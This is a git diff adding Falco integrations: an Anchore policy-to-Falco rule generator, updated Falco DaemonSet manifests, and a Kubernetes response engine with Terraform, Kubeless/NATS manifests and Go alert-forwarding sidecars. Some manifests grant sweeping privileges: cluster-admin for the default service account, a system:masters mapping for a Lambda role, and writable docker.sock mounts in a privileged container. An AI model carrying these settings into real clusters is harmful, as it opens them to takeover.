+  output: A stop policy evaluation container from anchore has started (%container.info image=%container.image)
+  priority: INFO
+  tags: [container]
+```
+
+You can save that output to ```/etc/falco/rules.d/anchore-integration-rules.yaml```
+and Falco will start checking this rule.
+
+As long as information in anchore-engine can change, it's a good idea to run this
+integration **periodically** and keep the rule synchronized with anchore-engine
+policy evaluation result.
+
+## Tests
+
+As long as there are contract tests with anchore-engine, it needs a working
+anchore-engine and its environment variables.
+
+```
+pipenv install -d
+pipenv run mamba --format=documentation
+```
+
+## Docker support
+
+### Build the image
+
+```
+docker build -t sysdig/anchore-falco .
+```
+
+### Running the image
+
+An image exists on DockerHub, its name is ```sysdig/anchore-falco```.
+
+So you can run directly with Docker:
+
+```
+docker run --rm -e ANCHORE_CLI_USER=<user-for-custom-anchore-engine> \
+                -e ANCHORE_CLI_PASS=<passsword-for-user-for-custom-anchore-engine> \
+                -e ANCHORE_CLI_URL=http://<custom-anchore-engine-host>:8228/v1 \
+                sysdig/anchore-falco
+```
+
+And this will output the Falco rule based on *custom-anchore-engine-host*.

integrations/anchore-falco/actions.py

@@ -0,0 +1,25 @@
+import string
+
+FALCO_RULE_TEMPLATE = string.Template('''
+- macro: anchore_stop_policy_evaluation_containers
+  condition: container.image.id in ($images)
+
+- rule: Run Anchore Containers with Stop Policy Evaluation
+  desc: Detect containers which does not receive a positive Policy Evaluation from Anchore Engine.
+
+  condition: evt.type=execve and proc.vpid=1 and container and anchore_stop_policy_evaluation_containers
+  output: A stop policy evaluation container from anchore has started (%container.info image=%container.image)
+  priority: INFO
+  tags: [container]
+''')
+
+
+class CreateFalcoRuleFromAnchoreStopPolicyResults:
+    def __init__(self, anchore_client):
+        self._anchore_client = anchore_client
+
+    def run(self):
+        images = self._anchore_client.get_images_with_policy_result('stop')
+
+        images = ['"{}"'.format(image) for image in images]
+        return FALCO_RULE_TEMPLATE.substitute(images=', '.join(images))

integrations/anchore-falco/infrastructure.py

@@ -0,0 +1,39 @@
+import requests
+
+
+class AnchoreClient:
+    def __init__(self, user, password, url, ssl_verify):
+        self._user = user
+        self._password = password
+        self._url = url
+        self._ssl_verify = ssl_verify
+
+    def get_images_with_policy_result(self, policy_result):
+        results = []
+        for image in self._get_all_images():
+            final_action = self._evaluate_image(image)
+
+            if final_action == 'stop':
+                results.append(image['image_id'])
+
+        return results
+
+    def _get_all_images(self):
+        response = self._do_get_request(self._url + '/images')
+        return [
+            {
+                'image_id': image['image_detail'][0]['imageId'],
+                'image_digest': image['image_detail'][0]['imageDigest'],
+                'full_tag': image['image_detail'][0]['fulltag']
+            } for image in response.json()]
+
+    def _do_get_request(self, url):
+        return requests.get(url,
+                            auth=(self._user, self._password),
+                            verify=self._ssl_verify,
+                            headers={'Content-Type': 'application/json'})
+
+    def _evaluate_image(self, image):
+        response = self._do_get_request(self._url + '/images/{}/check?tag={}'.format(image['image_digest'], image['full_tag']))
+        if response.status_code == 200:
+            return response.json()[0][image['image_digest']][image['full_tag']][0]['detail']['result']['final_action']

integrations/anchore-falco/main.py

@@ -0,0 +1,21 @@
+import os
+
+import actions, infrastructure
+
+
+def main():
+    anchore_client = infrastructure.AnchoreClient(
+        os.environ.get('ANCHORE_CLI_USER', 'admin'),
+        os.environ['ANCHORE_CLI_PASS'],
+        os.environ.get('ANCHORE_CLI_URL', 'http://localhost:8228/v1'),
+        os.environ.get('ANCHORE_CLI_SSL_VERIFY', True)
+    )
+    action = actions.CreateFalcoRuleFromAnchoreStopPolicyResults(anchore_client)
+
+    result = action.run()
+
+    print(result)
+
+
+if __name__ == '__main__':
+    main()

integrations/anchore-falco/specs/create_falco_rule_from_anchore_policy_results_spec.py

@@ -0,0 +1,21 @@
+from mamba import description, it, before
+from expects import expect, contain
+
+from doublex import Stub, when
+
+import actions
+import infrastructure
+
+
+with description(actions.CreateFalcoRuleFromAnchoreStopPolicyResults) as self:
+    with before.each:
+        self.anchore_client = Stub(infrastructure.AnchoreClient)
+        self.action = actions.CreateFalcoRuleFromAnchoreStopPolicyResults(self.anchore_client)
+
+    with it('queries Anchore Server for images with Stop as policy results'):
+        image_id = 'any image id'
+        when(self.anchore_client).get_images_with_policy_result('stop').returns([image_id])
+
+        result = self.action.run()
+
+        expect(result).to(contain(image_id))

integrations/anchore-falco/specs/infrastructure/anchore_client_spec.py

@@ -0,0 +1,19 @@
+from mamba import description, it
+from expects import expect, have_length, be_above
+
+import os
+
+import infrastructure
+
+
+with description(infrastructure.AnchoreClient) as self:
+    with it('retrieves images with stop policy results'):
+        user = os.environ['ANCHORE_CLI_USER']
+        password = os.environ['ANCHORE_CLI_PASS']
+        url = os.environ['ANCHORE_CLI_URL']
+
+        client = infrastructure.AnchoreClient(user, password, url, True)
+
+        result = client.get_images_with_policy_result('stop')
+
+        expect(result).to(have_length(be_above(1)))

integrations/k8s-using-daemonset/k8s-with-rbac/falco-daemonset-configmap.yaml

@@ -16,17 +16,15 @@ spec:
       serviceAccount: falco-account
       containers:
         - name: falco
-          image: sysdig/falco:latest
+          image: falcosecurity/falco:latest
           securityContext:
             privileged: true
-          args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes", "-pk"]
+          args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes.default", "-pk"]
           volumeMounts:
             - mountPath: /host/var/run/docker.sock
               name: docker-socket
-              readOnly: true
             - mountPath: /host/dev
               name: dev-fs
-              readOnly: true
             - mountPath: /host/proc
               name: proc-fs
               readOnly: true

integrations/k8s-using-daemonset/k8s-without-rbac/falco-daemonset.yaml

@@ -15,17 +15,15 @@ spec:
     spec:
       containers:
         - name: falco
-          image: sysdig/falco:latest
+          image: falcosecurity/falco:latest
           securityContext:
             privileged: true
-          args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes", "-pk", "-o", "json_output=true", "-o", "program_output.enabled=true", "-o",  "program_output.program=jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/see_your_slack_team/apps_settings_for/a_webhook_url"]
+          args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes.default", "-pk", "-o", "json_output=true", "-o", "program_output.enabled=true", "-o",  "program_output.program=jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/see_your_slack_team/apps_settings_for/a_webhook_url"]
           volumeMounts:
             - mountPath: /host/var/run/docker.sock
               name: docker-socket
-              readOnly: true
             - mountPath: /host/dev
               name: dev-fs
-              readOnly: true
             - mountPath: /host/proc
               name: proc-fs
               readOnly: true

integrations/kubernetes-response-engine/README.md

@@ -0,0 +1,18 @@
+# Kubernetes Response Engine for Sysdig Falco
+
+A response engine for Falco that allows to process security events executing playbooks to respond to security threats.
+
+## Architecture
+
+* *[Falco](https://sysdig.com/opensource/falco/)* monitors containers and processes to alert on unexpected behavior. This is defined through the runtime policy built from multiple rules that define what the system should and shouldn't do.
+* *falco-nats* forwards the alert to a message broker service into a topic compound by `falco.<severity>.<rule_name_slugified>`.
+* *[NATS](https://nats.io/)*, our message broker, delivers the alert to any subscribers to the different topics.
+* *[Kubeless](https://kubeless.io/)*, a FaaS framework that runs in Kubernetes, receives the security events and executes the configured playbooks.
+
+## Glossary
+
+* *Security event*: Alert sent by Falco when a configured rule matches the behaviour on that host.
+* *Playbook*: Each piece code executed when an alert is received to respond to that threat in an automated way, some examples include:
+  - sending an alert to Slack
+  - stop the pod killing the container
+  - taint the specific node where the pod is running

integrations/kubernetes-response-engine/deployment/aws/.gitignore

@@ -0,0 +1,4 @@
+.terraform/*
+.terraform.*
+terraform.*
+*.yaml

integrations/kubernetes-response-engine/deployment/aws/Makefile

@@ -0,0 +1,11 @@
+all: create configure
+
+create:
+	terraform apply
+
+configure:
+	kubectl get -n kube-system configmap/aws-auth -o yaml | awk "/mapRoles: \|/{print;print \"$(shell terraform output patch_for_aws_auth)\";next}1" > aws-auth-patch.yml
+	kubectl -n kube-system replace -f aws-auth-patch.yml
+
+clean:
+	terraform destroy

integrations/kubernetes-response-engine/deployment/aws/README.md

@@ -0,0 +1,23 @@
+# Terraform manifests for Kubernetes Response Engine running on AWS
+
+In this directory are the Terraform manifests for creating required infrasturcture
+for the Kubernetes Response Engine running with AWS technology: SNS for messaging
+and Lambda for executing the playbooks.
+
+## Deploy
+
+For creating the resources, just run default Makefile target:
+
+```
+make
+```
+
+This will ask for an IAM user which creates the bridge between EKS rbac and AWS IAM.
+
+## Clean
+
+You can clean IAM roles and SNS topics with:
+
+```
+make clean
+```

integrations/kubernetes-response-engine/deployment/aws/lambda.tf

@@ -0,0 +1,25 @@
+resource "aws_iam_role" "iam-for-lambda" {
+  name = "iam_for_lambda"
+
+  assume_role_policy = <<EOF
+{
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Action": "sts:AssumeRole",
+      "Principal": {
+        "Service": "lambda.amazonaws.com",
+        "AWS": "${var.iam-user-arn}"
+      },
+      "Effect": "Allow",
+      "Sid": ""
+    }
+  ]
+}
+EOF
+}
+
+resource "aws_iam_role_policy_attachment" "iam-for-lambda" {
+  policy_arn = "arn:aws:iam::aws:policy/CloudWatchFullAccess"
+  role       = "${aws_iam_role.iam-for-lambda.name}"
+}

integrations/kubernetes-response-engine/deployment/aws/outputs.tf

@@ -0,0 +1,16 @@
+locals {
+  patch_for_aws_auth = <<CONFIGMAPAWSAUTH
+    - rolearn: ${aws_iam_role.iam-for-lambda.arn}\n
+     username: kubernetes-admin\n
+     groups:\n
+       - system:masters
+CONFIGMAPAWSAUTH
+}
+
+output "patch_for_aws_auth" {
+  value = "${local.patch_for_aws_auth}"
+}
+
+output "iam_for_lambda" {
+  value = "${aws_iam_role.iam-for-lambda.arn}"
+}

integrations/kubernetes-response-engine/deployment/aws/sns.tf

@@ -0,0 +1,3 @@
+resource "aws_sns_topic" "falco-alerts" {
+  name = "falco-alerts"
+}

integrations/kubernetes-response-engine/deployment/aws/variables.tf

@@ -0,0 +1,3 @@
+variable "iam-user-arn" {
+  type    = "string"
+}

integrations/kubernetes-response-engine/deployment/cncf/Makefile

@@ -0,0 +1,10 @@
+deploy:
+	kubectl apply -f nats/
+	kubectl apply -f kubeless/
+	kubectl apply -f network-policy.yaml
+	kubectl apply -f .
+
+clean:
+	kubectl delete -f kubeless/
+	kubectl delete -f nats/
+	kubectl delete -f .

integrations/kubernetes-response-engine/deployment/cncf/README.md

@@ -0,0 +1,20 @@
+# Kubernetes Manifests for Kubernetes Response Engine
+
+In this directory are the manifests for creating required infrastructure in the
+Kubernetes cluster
+
+## Deploy
+
+For deploying NATS, Falco + Falco-NATS output and Kubeless just run default Makefile target:
+
+```
+make
+```
+
+## Clean
+
+You can clean your cluster with:
+
+```
+make clean
+```

integrations/kubernetes-response-engine/deployment/cncf/kubeless/kubeless-namespace.yaml

@@ -0,0 +1,5 @@
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: kubeless

integrations/kubernetes-response-engine/deployment/cncf/kubeless/kubeless-v1.0.0-alpha.6.yaml

@@ -0,0 +1,366 @@
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: controller-acct
+  namespace: kubeless
+---
+apiVersion: rbac.authorization.k8s.io/v1beta1
+kind: ClusterRole
+metadata:
+  name: kubeless-controller-deployer
+rules:
+- apiGroups:
+  - ""
+  resources:
+  - services
+  - configmaps
+  verbs:
+  - create
+  - get
+  - delete
+  - list
+  - update
+  - patch
+- apiGroups:
+  - apps
+  - extensions
+  resources:
+  - deployments
+  verbs:
+  - create
+  - get
+  - delete
+  - list
+  - update
+  - patch
+- apiGroups:
+  - ""
+  resources:
+  - pods
+  verbs:
+  - list
+  - delete
+- apiGroups:
+  - ""
+  resourceNames:
+  - kubeless-registry-credentials
+  resources:
+  - secrets
+  verbs:
+  - get
+- apiGroups:
+  - kubeless.io
+  resources:
+  - functions
+  - httptriggers
+  - cronjobtriggers
+  verbs:
+  - get
+  - list
+  - watch
+  - update
+  - delete
+- apiGroups:
+  - batch
+  resources:
+  - cronjobs
+  - jobs
+  verbs:
+  - create
+  - get
+  - delete
+  - deletecollection
+  - list
+  - update
+  - patch
+- apiGroups:
+  - autoscaling
+  resources:
+  - horizontalpodautoscalers
+  verbs:
+  - create
+  - get
+  - delete
+  - list
+  - update
+  - patch
+- apiGroups:
+  - apiextensions.k8s.io
+  resources:
+  - customresourcedefinitions
+  verbs:
+  - get
+  - list
+- apiGroups:
+  - monitoring.coreos.com
+  resources:
+  - alertmanagers
+  - prometheuses
+  - servicemonitors
+  verbs:
+  - '*'
+- apiGroups:
+  - extensions
+  resources:
+  - ingresses
+  verbs:
+  - create
+  - get
+  - list
+  - update
+  - delete
+---
+apiVersion: rbac.authorization.k8s.io/v1beta1
+kind: ClusterRoleBinding
+metadata:
+  name: kubeless-controller-deployer
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: kubeless-controller-deployer
+subjects:
+- kind: ServiceAccount
+  name: controller-acct
+  namespace: kubeless
+---
+apiVersion: apiextensions.k8s.io/v1beta1
+kind: CustomResourceDefinition
+metadata:
+  name: functions.kubeless.io
+spec:
+  group: kubeless.io
+  names:
+    kind: Function
+    plural: functions
+    singular: function
+  scope: Namespaced
+  version: v1beta1
+---
+apiVersion: apiextensions.k8s.io/v1beta1
+kind: CustomResourceDefinition
+metadata:
+  name: httptriggers.kubeless.io
+spec:
+  group: kubeless.io
+  names:
+    kind: HTTPTrigger
+    plural: httptriggers
+    singular: httptrigger
+  scope: Namespaced
+  version: v1beta1
+---
+apiVersion: apiextensions.k8s.io/v1beta1
+kind: CustomResourceDefinition
+metadata:
+  name: cronjobtriggers.kubeless.io
+spec:
+  group: kubeless.io
+  names:
+    kind: CronJobTrigger
+    plural: cronjobtriggers
+    singular: cronjobtrigger
+  scope: Namespaced
+  version: v1beta1
+---
+apiVersion: v1
+data:
+  builder-image: kubeless/function-image-builder:v1.0.0-alpha.6
+  builder-image-secret: ""
+  deployment: '{}'
+  enable-build-step: "false"
+  function-registry-tls-verify: "true"
+  ingress-enabled: "false"
+  provision-image: kubeless/unzip@sha256:f162c062973cca05459834de6ed14c039d45df8cdb76097f50b028a1621b3697
+  provision-image-secret: ""
+  runtime-images: |-
+    [
+      {
+        "ID": "python",
+        "compiled": false,
+        "versions": [
+          {
+            "name": "python27",
+            "version": "2.7",
+            "runtimeImage": "kubeless/python@sha256:07cfb0f3d8b6db045dc317d35d15634d7be5e436944c276bf37b1c630b03add8",
+            "initImage": "python:2.7"
+          },
+          {
+            "name": "python34",
+            "version": "3.4",
+            "runtimeImage": "kubeless/python@sha256:f19640c547a3f91dbbfb18c15b5e624029b4065c1baf2892144e07c36f0a7c8f",
+            "initImage": "python:3.4"
+          },
+          {
+            "name": "python36",
+            "version": "3.6",
+            "runtimeImage": "kubeless/python@sha256:0c9f8f727d42625a4e25230cfe612df7488b65f283e7972f84108d87e7443d72",
+            "initImage": "python:3.6"
+          }
+        ],
+        "depName": "requirements.txt",
+        "fileNameSuffix": ".py"
+      },
+      {
+        "ID": "nodejs",
+        "compiled": false,
+        "versions": [
+          {
+            "name": "node6",
+            "version": "6",
+            "runtimeImage": "kubeless/nodejs@sha256:013facddb0f66c150844192584d823d7dfb2b5b8d79fd2ae98439c86685da657",
+            "initImage": "node:6.10"
+          },
+          {
+            "name": "node8",
+            "version": "8",
+            "runtimeImage": "kubeless/nodejs@sha256:b155d7e20e333044b60009c12a25a97c84eed610f2a3d9d314b47449dbdae0e5",
+            "initImage": "node:8"
+          }
+        ],
+        "depName": "package.json",
+        "fileNameSuffix": ".js"
+      },
+      {
+        "ID": "nodejs_distroless",
+        "compiled": false,
+        "versions": [
+          {
+            "name": "node8",
+            "version": "8",
+            "runtimeImage": "henrike42/kubeless/runtimes/nodejs/distroless:0.0.2",
+            "initImage": "node:8"
+          }
+        ],
+        "depName": "package.json",
+        "fileNameSuffix": ".js"
+      },
+      {
+        "ID": "ruby",
+        "compiled": false,
+        "versions": [
+          {
+            "name": "ruby24",
+            "version": "2.4",
+            "runtimeImage": "kubeless/ruby@sha256:01665f1a32fe4fab4195af048627857aa7b100e392ae7f3e25a44bd296d6f105",
+            "initImage": "bitnami/ruby:2.4"
+          }
+        ],
+        "depName": "Gemfile",
+        "fileNameSuffix": ".rb"
+      },
+      {
+        "ID": "php",
+        "compiled": false,
+        "versions": [
+          {
+            "name": "php72",
+            "version": "7.2",
+            "runtimeImage": "kubeless/php@sha256:9b86066b2640bedcd88acb27f43dfaa2b338f0d74d9d91131ea781402f7ec8ec",
+            "initImage": "composer:1.6"
+          }
+        ],
+        "depName": "composer.json",
+        "fileNameSuffix": ".php"
+      },
+      {
+        "ID": "go",
+        "compiled": true,
+        "versions": [
+          {
+            "name": "go1.10",
+            "version": "1.10",
+            "runtimeImage": "kubeless/go@sha256:e2fd49f09b6ff8c9bac6f1592b3119ea74237c47e2955a003983e08524cb3ae5",
+            "initImage": "kubeless/go-init@sha256:983b3f06452321a2299588966817e724d1a9c24be76cf1b12c14843efcdff502"
+          }
+        ],
+        "depName": "Gopkg.toml",
+        "fileNameSuffix": ".go"
+      },
+      {
+        "ID": "dotnetcore",
+        "compiled": true,
+        "versions": [
+          {
+            "name": "dotnetcore2.0",
+            "version": "2.0",
+            "runtimeImage": "allantargino/kubeless-dotnetcore@sha256:1699b07d9fc0276ddfecc2f823f272d96fd58bbab82d7e67f2fd4982a95aeadc",
+            "initImage": "allantargino/aspnetcore-build@sha256:0d60f845ff6c9c019362a68b87b3920f3eb2d32f847f2d75e4d190cc0ce1d81c"
+          }
+        ],
+        "depName": "project.csproj",
+        "fileNameSuffix": ".cs"
+      },
+      {
+        "ID": "java",
+        "compiled": true,
+        "versions": [
+          {
+            "name": "java1.8",
+            "version": "1.8",
+            "runtimeImage": "kubeless/java@sha256:debf9502545f4c0e955eb60fabb45748c5d98ed9365c4a508c07f38fc7fefaac",
+            "initImage": "kubeless/java-init@sha256:7e5e4376d3ab76c336d4830c9ed1b7f9407415feca49b8c2bf013e279256878f"
+          }
+        ],
+        "depName": "pom.xml",
+        "fileNameSuffix": ".java"
+      },
+      {
+         "ID": "ballerina",
+         "compiled": true,
+         "versions": [
+           {
+              "name": "ballerina0.975.0",
+              "version": "0.975.0",
+              "runtimeImage": "kubeless/ballerina@sha256:83e51423972f4b0d6b419bee0b4afb3bb87d2bf1b604ebc4366c430e7cc28a35",
+              "initImage": "kubeless/ballerina-init@sha256:05857ce439a7e290f9d86f8cb38ea3b574670c0c0e91af93af06686fa21ecf4f"
+           }
+         ],
+         "depName": "",
+         "fileNameSuffix": ".bal"
+      }
+    ]
+  service-type: ClusterIP
+kind: ConfigMap
+metadata:
+  name: kubeless-config
+  namespace: kubeless
+---
+apiVersion: apps/v1beta1
+kind: Deployment
+metadata:
+  labels:
+    kubeless: controller
+  name: kubeless-controller-manager
+  namespace: kubeless
+spec:
+  selector:
+    matchLabels:
+      kubeless: controller
+  template:
+    metadata:
+      labels:
+        kubeless: controller
+    spec:
+      containers:
+      - env:
+        - name: KUBELESS_INGRESS_ENABLED
+          valueFrom:
+            configMapKeyRef:
+              key: ingress-enabled
+              name: kubeless-config
+        - name: KUBELESS_SERVICE_TYPE
+          valueFrom:
+            configMapKeyRef:
+              key: service-type
+              name: kubeless-config
+        - name: KUBELESS_NAMESPACE
+          valueFrom:
+            fieldRef:
+              fieldPath: metadata.namespace
+        - name: KUBELESS_CONFIG
+          value: kubeless-config
+        image: bitnami/kubeless-controller-manager:v1.0.0-alpha.6
+        imagePullPolicy: IfNotPresent
+        name: kubeless-controller-manager
+      serviceAccountName: controller-acct

integrations/kubernetes-response-engine/deployment/cncf/kubeless/nats-v1.0.0-alpha.6.yaml

@@ -0,0 +1,73 @@
+---
+apiVersion: rbac.authorization.k8s.io/v1beta1
+kind: ClusterRole
+metadata:
+  name: nats-controller-deployer
+rules:
+- apiGroups:
+  - ""
+  resources:
+  - services
+  - configmaps
+  verbs:
+  - get
+  - list
+- apiGroups:
+  - kubeless.io
+  resources:
+  - functions
+  - natstriggers
+  verbs:
+  - get
+  - list
+  - watch
+  - update
+  - delete
+---
+apiVersion: rbac.authorization.k8s.io/v1beta1
+kind: ClusterRoleBinding
+metadata:
+  name: nats-controller-deployer
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: nats-controller-deployer
+subjects:
+- kind: ServiceAccount
+  name: controller-acct
+  namespace: kubeless
+---
+apiVersion: apiextensions.k8s.io/v1beta1
+kind: CustomResourceDefinition
+metadata:
+  name: natstriggers.kubeless.io
+spec:
+  group: kubeless.io
+  names:
+    kind: NATSTrigger
+    plural: natstriggers
+    singular: natstrigger
+  scope: Namespaced
+  version: v1beta1
+---
+apiVersion: apps/v1beta1
+kind: Deployment
+metadata:
+  labels:
+    kubeless: nats-trigger-controller
+  name: nats-trigger-controller
+  namespace: kubeless
+spec:
+  selector:
+    matchLabels:
+      kubeless: nats-trigger-controller
+  template:
+    metadata:
+      labels:
+        kubeless: nats-trigger-controller
+    spec:
+      containers:
+      - image: bitnami/nats-trigger-controller:v1.0.0-alpha.6
+        imagePullPolicy: IfNotPresent
+        name: nats-trigger-controller
+      serviceAccountName: controller-acct

integrations/kubernetes-response-engine/deployment/cncf/nats/deployment-rbac.yaml

@@ -0,0 +1,82 @@
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: nats-io
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: nats-operator
+  namespace: nats-io
+---
+apiVersion: apps/v1beta2
+kind: Deployment
+metadata:
+  name: nats-operator
+  namespace: nats-io
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      name: nats-operator
+  template:
+    metadata:
+      labels:
+        name: nats-operator
+    spec:
+      serviceAccountName: nats-operator
+      containers:
+      - name: nats-operator
+        image: connecteverything/nats-operator:0.2.2-v1alpha2
+        imagePullPolicy: Always
+        env:
+        - name: MY_POD_NAMESPACE
+          valueFrom:
+            fieldRef:
+              fieldPath: metadata.namespace
+        - name: MY_POD_NAME
+          valueFrom:
+            fieldRef:
+              fieldPath: metadata.name
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: nats-io:nats-operator-binding
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: nats-io:nats-operator
+subjects:
+- kind: ServiceAccount
+  name: nats-operator
+  namespace: nats-io
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: nats-io:nats-operator
+rules:
+# Allow creating CRDs
+- apiGroups:
+  - apiextensions.k8s.io
+  resources:
+  - customresourcedefinitions
+  verbs: ["*"]
+# Allow all actions on NatsClusters
+- apiGroups:
+  - nats.io
+  resources:
+  - natsclusters
+  verbs: ["*"]
+# Allow actions on basic Kubernetes objects
+- apiGroups: [""]
+  resources:
+  - configmaps
+  - secrets
+  - pods
+  - services
+  - endpoints
+  - events
+  verbs: ["*"]

integrations/kubernetes-response-engine/deployment/cncf/nats/nats-cluster.yaml

@@ -0,0 +1,8 @@
+apiVersion: "nats.io/v1alpha2"
+kind: "NatsCluster"
+metadata:
+  name: "nats"
+  namespace: "nats-io"
+spec:
+  size: 3
+  version: "1.1.0"

integrations/kubernetes-response-engine/deployment/cncf/network-policy.yaml

@@ -0,0 +1,11 @@
+apiVersion: networking.k8s.io/v1
+kind: NetworkPolicy
+metadata:
+  name: isolate
+spec:
+  podSelector:
+    matchLabels:
+      isolated: 'true'
+  policyTypes:
+  - Ingress
+  - Egress

integrations/kubernetes-response-engine/deployment/cncf/rbac.yaml

@@ -0,0 +1,12 @@
+apiVersion: rbac.authorization.k8s.io/v1beta1
+kind: ClusterRoleBinding
+metadata:
+  name: sysdig-kubeless
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: cluster-admin
+subjects:
+- kind: ServiceAccount
+  name: default
+  namespace: default

integrations/kubernetes-response-engine/falco-nats/.gitignore

@@ -0,0 +1 @@
+falco-nats

integrations/kubernetes-response-engine/falco-nats/Dockerfile

@@ -0,0 +1,5 @@
+FROM alpine:latest
+
+COPY ./falco-nats /bin/
+
+CMD ["/bin/falco-nats"]

integrations/kubernetes-response-engine/falco-nats/Makefile

@@ -0,0 +1,12 @@
+build:
+	GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-s" -o falco-nats main.go
+
+deps:
+	go get -u github.com/nats-io/go-nats
+
+clean:
+	rm falco-nats
+
+docker: build
+	docker build -t sysdig/falco-nats .
+	docker push sysdig/falco-nats

integrations/kubernetes-response-engine/falco-nats/README.md

@@ -0,0 +1,27 @@
+# NATS output for Sysdig Falco
+
+As Falco does not support a NATS output natively, we have created this small
+golang utility wich reads Falco alerts from a named pipe and sends them to a
+NATS server.
+
+This utility is designed to being run in a sidecar container in the same
+Pod as Falco.
+
+## Configuration
+
+You have a [complete Kubernetes manifest available](https://github.com/draios/falco/tree/kubernetes-response-engine/deployment/falco/falco-daemonset.yaml) for future reading.
+
+Take a look at sidecar container and to the initContainers directive which
+craetes the shared pipe between containers.
+
+### Container image
+
+You have this adapter available as a container image. Its name is *sysdig/falco-nats*.
+
+### Parameters Reference
+
+* -s: Specifies the NATS server URL where message will be published.  By default
+    is: *nats://nats.nats-io.svc.cluster.local:4222*
+
+* -f: Specifies the named pipe path where Falco publishes its alerts. By default
+    is: */var/run/falco/nats*

integrations/kubernetes-response-engine/falco-nats/main.go

@@ -0,0 +1,100 @@
+// Copyright 2012-2018 The NATS Authors
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// +build ignore
+
+package main
+
+import (
+	"bufio"
+	"encoding/json"
+	"flag"
+	"github.com/nats-io/go-nats"
+	"log"
+	"os"
+	"regexp"
+	"strings"
+)
+
+var slugRegularExpression = regexp.MustCompile("[^a-z0-9]+")
+
+func main() {
+	var urls = flag.String("s", "nats://nats.nats-io.svc.cluster.local:4222", "The nats server URLs (separated by comma)")
+	var pipePath = flag.String("f", "/var/run/falco/nats", "The named pipe path")
+
+	log.SetFlags(0)
+	flag.Usage = usage
+	flag.Parse()
+
+	nc, err := nats.Connect(*urls)
+	if err != nil {
+		log.Fatal(err)
+	}
+	defer nc.Close()
+
+	pipe, err := os.OpenFile(*pipePath, os.O_RDONLY, 0600)
+	if err != nil {
+		log.Fatal(err)
+	}
+
+	log.Printf("Opened pipe %s", *pipePath)
+
+	reader := bufio.NewReader(pipe)
+	scanner := bufio.NewScanner(reader)
+
+	log.Printf("Scanning %s", *pipePath)
+
+	for scanner.Scan() {
+		msg := []byte(scanner.Text())
+
+		subj, err := subjectAndRuleSlug(msg)
+		if err != nil {
+			log.Fatal(err)
+		}
+		nc.Publish(subj, msg)
+		nc.Flush()
+
+		if err := nc.LastError(); err != nil {
+			log.Fatal(err)
+		} else {
+			log.Printf("Published [%s] : '%s'\n", subj, msg)
+		}
+	}
+}
+
+func usage() {
+	log.Fatalf("Usage: nats-pub [-s server (%s)] <subject> <msg> \n", nats.DefaultURL)
+}
+
+type parsedAlert struct {
+	Priority string `json:"priority"`
+	Rule     string `json:"rule"`
+}
+
+func subjectAndRuleSlug(alert []byte) (string, error) {
+	var result parsedAlert
+	err := json.Unmarshal(alert, &result)
+
+	if err != nil {
+		return "", err
+	}
+
+	subject := "falco." + result.Priority + "." + slugify(result.Rule)
+	subject = strings.ToLower(subject)
+
+	return subject, nil
+}
+
+func slugify(input string) string {
+	return strings.Trim(slugRegularExpression.ReplaceAllString(strings.ToLower(input), "_"), "_")
+}

integrations/kubernetes-response-engine/falco-sns/.gitignore

@@ -0,0 +1 @@
+falco-sns

integrations/kubernetes-response-engine/falco-sns/Dockerfile

@@ -0,0 +1,8 @@
+FROM alpine:latest
+MAINTAINER Néstor Salceda<nestor.salceda@sysdig.com>
+
+RUN apk add --no-cache ca-certificates
+
+COPY ./falco-sns /bin/
+
+CMD ["/bin/falco-sns"]

integrations/kubernetes-response-engine/falco-sns/Makefile

@@ -0,0 +1,12 @@
+build:
+	GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-s" -o falco-sns main.go
+
+deps:
+	go get -u github.com/aws/aws-sdk-go/
+
+clean:
+	rm falco-sns
+
+docker: build
+	docker build -t sysdig/falco-sns .
+	docker push sysdig/falco-sns

integrations/kubernetes-response-engine/falco-sns/README.md

@@ -0,0 +1,26 @@
+# SNS output for Sysdig Falco
+
+As Falco does not support AWS SNS output natively, we have created this small
+golang utility wich reads Falco alerts from a named pipe and sends them to a
+SNS topic.
+
+This utility is designed to being run in a sidecar container in the same
+Pod as Falco.
+
+## Configuration
+
+You have a [complete Kubernetes manifest available](https://github.com/draios/falco/tree/kubernetes-response-engine/deployment/falco/falco-daemonset.yaml) for future reading.
+
+Take a look at sidecar container and to the initContainers directive which
+craetes the shared pipe between containers.
+
+### Container image
+
+You have this adapter available as a container image. Its name is *sysdig/falco-sns*.
+
+### Parameters Reference
+
+* -t: Specifies the ARN SNS topic where message will be published.
+
+* -f: Specifies the named pipe path where Falco publishes its alerts. By default
+    is: */var/run/falco/nats*

integrations/kubernetes-response-engine/falco-sns/main.go

@@ -0,0 +1,101 @@
+// Copyright 2012-2018 The Sysdig Tech Marketing Team
